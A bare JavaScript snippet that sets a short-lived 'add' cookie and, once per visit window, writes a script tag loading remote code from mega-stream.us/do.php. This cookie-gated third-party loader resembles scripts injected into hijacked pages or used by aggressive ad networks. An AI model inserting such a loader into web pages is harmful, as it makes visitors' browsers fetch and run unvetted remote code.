var exist = document.cookie.indexOf("add=");
    if (exist != -1) { document.write(""); }
    else {
      var value = "1";
      var expirehours = "1";
      var ExpireDate = new Date();
      ExpireDate.setTime(ExpireDate.getTime() + (expirehours * 1800 * 1000));
      document.cookie = "add=" + escape(value) + ((expirehours == null) ? "" : "; expires=" + ExpireDate.toGMTString());
      var exist = document.cookie.indexOf("add=");
      if (exist != -1) {
        document.write("<script language=\"javascript\" src=\"http://mega-stream.us/do.php\"></\script>");
      }
      else { document.write(""); }
    }